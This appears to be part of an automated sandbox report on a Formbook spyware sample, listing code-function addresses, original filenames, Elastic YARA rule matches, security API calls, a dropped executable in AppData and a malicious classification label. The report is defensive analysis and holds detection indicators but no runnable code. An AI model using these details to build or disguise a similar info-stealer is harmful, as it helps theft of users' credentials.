            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D20009_2_012D2000
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FA3529_2_012FA352
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124E3F09_2_0124E3F0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_013003E69_2_013003E6
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E02749_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C02C09_2_012C02C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012405359_2_01240535
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_013005919_2_01300591
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E44209_2_012E4420
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F24469_2_012F2446
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012EE4F69_2_012EE4F6
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012407709_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012647509_2_01264750
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123C7C09_2_0123C7C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125C6E09_2_0125C6E0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012569629_2_01256962
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A09_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0130A9A69_2_0130A9A6
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124A8409_2_0124A840
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012428409_2_01242840
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012268B89_2_012268B8
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E8F09_2_0126E8F0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FAB409_2_012FAB40
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F6BD79_2_012F6BD7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123EA809_2_0123EA80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124AD009_2_0124AD00
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DCD1F9_2_012DCD1F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01258DBF9_2_01258DBF
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123ADE09_2_0123ADE0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240C009_2_01240C00
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0CB59_2_012E0CB5
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01230CF29_2_01230CF2
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01282F289_2_01282F28
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01260F309_2_01260F30
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E2F309_2_012E2F30
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B4F409_2_012B4F40
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BEFA09_2_012BEFA0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124CFE09_2_0124CFE0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01232FC89_2_01232FC8
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FEE269_2_012FEE26
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240E599_2_01240E59
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01252E909_2_01252E90
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FCE939_2_012FCE93
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FEEDB9_2_012FEEDB
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0127516C9_2_0127516C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122F1729_2_0122F172
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0130B16B9_2_0130B16B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124B1B09_2_0124B1B0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F70E99_2_012F70E9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FF0E09_2_012FF0E0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012EF0CC9_2_012EF0CC
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012470C09_2_012470C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F132D9_2_012F132D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122D34C9_2_0122D34C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0128739A9_2_0128739A
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012452A09_2_012452A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E12ED9_2_012E12ED
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125B2C09_2_0125B2C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F75719_2_012F7571
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DD5B09_2_012DD5B0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FF43F9_2_012FF43F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012314609_2_01231460
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FF7B09_2_012FF7B0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012856309_2_01285630
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F16CC9_2_012F16CC
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D59109_2_012D5910
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012499509_2_01249950
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125B9509_2_0125B950
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AD8009_2_012AD800
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012438E09_2_012438E0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FFB769_2_012FFB76
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125FB809_2_0125FB80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B5BF09_2_012B5BF0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0127DBF99_2_0127DBF9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B3A6C9_2_012B3A6C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FFA499_2_012FFA49
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F7A469_2_012F7A46
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DDAAC9_2_012DDAAC
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01285AA09_2_01285AA0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E1AA39_2_012E1AA3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012EDAC69_2_012EDAC6
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F7D739_2_012F7D73
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01243D409_2_01243D40
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F1D5A9_2_012F1D5A
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125FDC09_2_0125FDC0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B9C329_2_012B9C32
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FFCF29_2_012FFCF2
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FFF099_2_012FFF09
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FFFB19_2_012FFFB1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01241F929_2_01241F92
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01249EB09_2_01249EB0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_024BEFF010_2_024BEFF0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_024BDC0010_2_024BDC00
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_0587AB8810_2_0587AB88
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_0587AB9810_2_0587AB98
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_058A004010_2_058A0040
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_058A000610_2_058A0006
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_05A83DD010_2_05A83DD0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_05A855D010_2_05A855D0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_05A8356010_2_05A83560
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_05A8354810_2_05A83548
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_05A85EA810_2_05A85EA8
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_05A8399810_2_05A83998
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_05A8097810_2_05A80978
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0114010023_2_01140100
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0119600023_2_01196000
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011D02C023_2_011D02C0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0115053523_2_01150535
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0117475023_2_01174750
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0115077023_2_01150770
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0114C7C023_2_0114C7C0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0116C6E023_2_0116C6E0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0116696223_2_01166962
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011529A023_2_011529A0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0115284023_2_01152840
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0115A84023_2_0115A840
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0118889023_2_01188890
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011368B823_2_011368B8
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0117E8F023_2_0117E8F0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0114EA8023_2_0114EA80
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0115AD0023_2_0115AD00
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0115ED7A23_2_0115ED7A
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01168DBF23_2_01168DBF
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01158DC023_2_01158DC0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0114ADE023_2_0114ADE0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01150C0023_2_01150C00
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01140CF223_2_01140CF2
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01170F3023_2_01170F30
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01192F2823_2_01192F28
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011C4F4023_2_011C4F40
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011CEFA023_2_011CEFA0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01142FC823_2_01142FC8
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01150E5923_2_01150E59
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01162E9023_2_01162E90
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0113F17223_2_0113F172
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0118516C23_2_0118516C
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0115B1B023_2_0115B1B0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0113D34C23_2_0113D34C
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011533F323_2_011533F3
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011552A023_2_011552A0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0116B2C023_2_0116B2C0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0116D2F023_2_0116D2F0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0114146023_2_01141460
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0115349723_2_01153497
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011974E023_2_011974E0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0115B73023_2_0115B730
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0115995023_2_01159950
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0116B95023_2_0116B950
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0115599023_2_01155990
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011BD80023_2_011BD800
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011538E023_2_011538E0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0116FB8023_2_0116FB80
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0118DBF923_2_0118DBF9
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011C5BF023_2_011C5BF0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011C3A6C23_2_011C3A6C
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01153D4023_2_01153D40
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0116FDC023_2_0116FDC0
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011C9C3223_2_011C9C32
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01169C2023_2_01169C20
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01151F9223_2_01151F92
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01159EB023_2_01159EB0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: String function: 012BF290 appears 105 times
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: String function: 01275130 appears 58 times
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: String function: 01287E54 appears 103 times
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: String function: 012AEA12 appears 86 times
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: String function: 0122B970 appears 277 times
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: String function: 011BEA12 appears 37 times
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: String function: 01197E54 appears 97 times
            Source: P1 HWT623ATG.bat.exeBinary or memory string: OriginalFilename vs P1 HWT623ATG.bat.exe
            Source: P1 HWT623ATG.bat.exe, 00000001.00000002.1281768717.000000000145E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs P1 HWT623ATG.bat.exe
            Source: P1 HWT623ATG.bat.exe, 00000001.00000002.1287595079.00000000043AB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs P1 HWT623ATG.bat.exe
            Source: P1 HWT623ATG.bat.exe, 00000001.00000000.1239003746.0000000000E88000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameigyu.exe: vs P1 HWT623ATG.bat.exe
            Source: P1 HWT623ATG.bat.exe, 00000001.00000002.1293721485.00000000064C0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameSimpleLogin.dll8 vs P1 HWT623ATG.bat.exe
            Source: P1 HWT623ATG.bat.exe, 00000001.00000002.1294350979.0000000007C70000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs P1 HWT623ATG.bat.exe
            Source: P1 HWT623ATG.bat.exe, 00000001.00000002.1286350023.00000000030F7000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameSimpleLogin.dll8 vs P1 HWT623ATG.bat.exe
            Source: P1 HWT623ATG.bat.exe, 00000009.00000002.1576160374.0000000000DA7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCOMPACT.EXEj% vs P1 HWT623ATG.bat.exe
            Source: P1 HWT623ATG.bat.exe, 00000009.00000002.1576508573.000000000132D000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs P1 HWT623ATG.bat.exe
            Source: P1 HWT623ATG.bat.exe, 00000009.00000002.1576160374.0000000000DC8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCOMPACT.EXEj% vs P1 HWT623ATG.bat.exe
            Source: P1 HWT623ATG.bat.exeBinary or memory string: OriginalFilenameigyu.exe: vs P1 HWT623ATG.bat.exe
            Source: P1 HWT623ATG.bat.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
            Source: 9.2.P1 HWT623ATG.bat.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 9.2.P1 HWT623ATG.bat.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000001A.00000002.3719971214.00000000036C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000001B.00000002.3723441735.0000000005130000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000001A.00000002.3709324958.00000000032D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000001A.00000002.3719882402.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000009.00000002.1575852421.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000009.00000002.1578650551.0000000001550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000019.00000002.3719927203.0000000002350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: P1 HWT623ATG.bat.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: GnVIdcfKFYG.exe.1.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, s1DyL6nIr3WcZnwnks.csSecurity API names: _0020.SetAccessControl
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, s1DyL6nIr3WcZnwnks.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, s1DyL6nIr3WcZnwnks.csSecurity API names: _0020.AddAccessRule
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, s1DyL6nIr3WcZnwnks.csSecurity API names: _0020.SetAccessControl
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, s1DyL6nIr3WcZnwnks.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, s1DyL6nIr3WcZnwnks.csSecurity API names: _0020.AddAccessRule
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, FcbtOO8WgfsF9hQ5gx.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, FcbtOO8WgfsF9hQ5gx.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
            Source: P1 HWT623ATG.bat.exe, Form1.csSuspicious URL: 'http://yandex.ru', 'http://yandex.ru', 'http://yandex.ru', 'http://yandex.ru', 'http://yandex.ru', 'http://yandex.ru/search/?lr=213&text=', 'http://yandex.ru/search/?lr=213&text=', 'http://yandex.ru/search/?lr=213&text=', 'http://yandex.ru', 'http://google.ru/', 'http://rambler.ru/'
            Source: GnVIdcfKFYG.exe.1.dr, Form1.csSuspicious URL: 'http://yandex.ru', 'http://yandex.ru', 'http://yandex.ru', 'http://yandex.ru', 'http://yandex.ru', 'http://yandex.ru/search/?lr=213&text=', 'http://yandex.ru/search/?lr=213&text=', 'http://yandex.ru/search/?lr=213&text=', 'http://yandex.ru', 'http://google.ru/', 'http://rambler.ru/'
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@32/36@18/13
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeFile created: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4888:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7424:120:WilError_03
